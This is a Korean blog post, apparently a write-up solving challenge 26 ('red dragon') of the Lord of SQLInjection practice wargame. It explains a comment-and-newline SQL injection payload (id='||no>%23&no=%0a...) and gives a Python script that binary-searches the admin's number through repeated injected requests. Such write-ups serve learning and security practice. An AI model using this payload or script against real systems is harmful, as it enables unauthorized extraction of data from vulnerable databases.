Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- Lord of sqlinjection
- Los
- 자바 has-a
- 쿠키
- 해킹
- XSS
- 세션쿠키
- 보안
- lord of sqlinjectin
- 클라이언트
- 웹
- 자바
- 스프링 특징
- 세션
- 웹 개발
- 자바 문법
- php
- 마이크로서비스 아키택트
- 소켓
- 스프링
- 자바 is-a
- 스프링 종류
- lord of sqlinjection`
- 스프링구조
- injection
- APM
- 자바 Array list
- sqlinjection
- 서버
- sql
Archives
- Today
- Total
LJ
Lord of SQLinjection ( 26번 ) red dragon 본문
26번 레드 드레곤이다.
admin의 맞는 no 값을 알아야 문제가 해결된다.
id=admin이고 no 값 이 맞는 데이터가 db에 있나
admin의 no 를 가져온다.
그때 admin의 no와 파라미터 no 값이 같으면 문제 해결
id='||no>%23&no=%0a1000
여기서 %23 (=#) 은 한줄 주석이기에 뒤의 no= 이 코드는 무시되어 %0a로 아래줄로 넘어간 1000이
no> 이 뒤에 붙어 no>1000 이 된다.
1000000000>no>100000000 이 된다.
숫자가 커서 이진탐색을 통해 구해야한다.
import requests
def check_no(url, cookie):
head = {"PHPSESSID": f"{cookie}"}
print("대상 문자열의 길이를 확인중입니다..")
low, high = 100000000, 1000000000
found_value = None
while True:
mid = (low + high) // 2
param = f"?id=%27||no<%23&no=%0a{mid}"
my_url = url + param
res = requests.get(my_url, cookies=head)
if low>high:
answer=mid
print("정답: "+str(answer))
return mid
break
if "Hello admin" in res.text:
found_value = mid
high = mid - 1
else:
low = mid + 1
if __name__ == "__main__":
print("시작합니다")
url = input("URL:")
cookie = input("cookie:")
no = check_no(url, cookie)
if no is not None:
print(f"{no}입니다.")
else:
print("찾을 수 없습니다.")
코드 수행 시
결과가 나온다.
해결 완료~~
*******key point********
-# 한줄주석 %0a 이용
'IT 보안 > 보안첼린지' 카테고리의 다른 글
Lord of SQLinjection ( 25번 ) green dragon (1) | 2024.07.17 |
---|---|
Lord of SQLinjection ( 24번 ) evil wizard (1) | 2024.07.14 |
Lord of SQLinjection ( 23번 ) hell fire (0) | 2024.07.07 |
Lord of SQLinjection ( 22번 ) dark eyes (0) | 2024.07.06 |
Lord of SQLinjection ( 21번 ) iron golem (1) | 2024.07.05 |
Comments